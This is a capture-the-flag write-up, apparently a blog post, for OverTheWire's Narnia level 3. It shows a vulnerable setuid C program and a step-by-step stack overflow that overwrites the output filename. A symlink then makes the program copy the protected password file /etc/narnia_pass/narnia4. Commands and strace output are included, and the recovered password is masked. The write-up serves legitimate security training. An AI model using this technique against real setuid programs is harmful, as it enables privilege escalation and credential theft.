OverTheWire.org - Narnia - Level 3 Writeup

The vulnerable code reads from a file whose name is supplied as argument from command line and it copies the content to /dev/null

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
    int  ifd,  ofd;
    char ofile[16] = "/dev/null";
    char ifile[32];
    char buf[32];

    if(argc != 2){
        printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);
        exit(-1);
    }

    /* open files */
    strcpy(ifile, argv[1]);
    if((ofd = open(ofile,O_RDWR)) < 0 ){
        printf("error opening %s\n", ofile);
        exit(-1);
    }

    if((ifd = open(ifile, O_RDONLY)) < 0 ){
        printf("error opening %s\n", ifile);
        exit(-1);
    }

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

    /* close 'em */
    close(ifd);
    close(ofd);
    exit(1);

}

The vulnerability come from the filenames (input from user and output "Dev/null") that are stored on the stack.

If we supply an argument longer than 32 bytes we can overwrite the output file and change it from "/dev/null" to a controlled value.

Let's create a temporary directory in /tmp and do some try with strace
Try with 32 "A" followed by a "B" as parameter:
narnia3@narnia:~$ mkdir /tmp/narnia3z
narnia3@narnia:~$ cd  /tmp/narnia3z
narnia3@narnia:/tmp/narnia3z$ strace /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
execve("/narnia/narnia3", ["/narnia/narnia3", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 18 vars */]) = 0
strace: [ Process PID=7806 runs in 32 bit mode. ]
....
open("B", O_RDWR)                       = -1 ENOENT (No such file or directory)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x804a000
brk(0x806b000)                          = 0x806b000
write(1, "error opening B\n", 16error opening B
)       = 16
exit_group(-1)                          = ?
+++ exited with 255 +++

It tries to open a file "B" with write permission but there is no such file
Let's create it with 777 permission and retry:
narnia3@narnia:/tmp/narnia3z$ touch B
narnia3@narnia:/tmp/narnia3z$ chmod 777 B
narnia3@narnia:/tmp/narnia3z$ strace /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
execve("/narnia/narnia3", ["/narnia/narnia3", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 18 vars */]) = 0
...
open("B", O_RDWR)                       = 3
open("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB", O_RDONLY) = -1 ENOENT (No such file or directory)
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
brk(NULL)                               = 0x804a000
brk(0x806b000)                          = 0x806b000
write(1, "error opening AAAAAAAAAAAAAAAAAA"..., 48error opening AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
) = 48
exit_group(-1)                          = ?
+++ exited with 255 +++

Now it's able to open B in RDWR mode but it cannot open the inptut file in RDONLY mode.
Notice that the filename is "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" (with a final "B")

We can create a symoblic link "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB" that points to the actual password file (/etc/narnia_pass/narnia4)

Then execute the vulnerable code without strace and dump the content of file "B" (with the password inside):
narnia3@narnia:/tmp/narnia3z$ ln -s /etc/narnia_pass/narnia4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
narnia3@narnia:/tmp/narnia3z$  /narnia/narnia3 "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB"
copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB to a safer place... (B)
narnia3@narnia:/tmp/narnia3z$ cat B
t******i
narnia3@narnia:/tmp/narnia3z$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.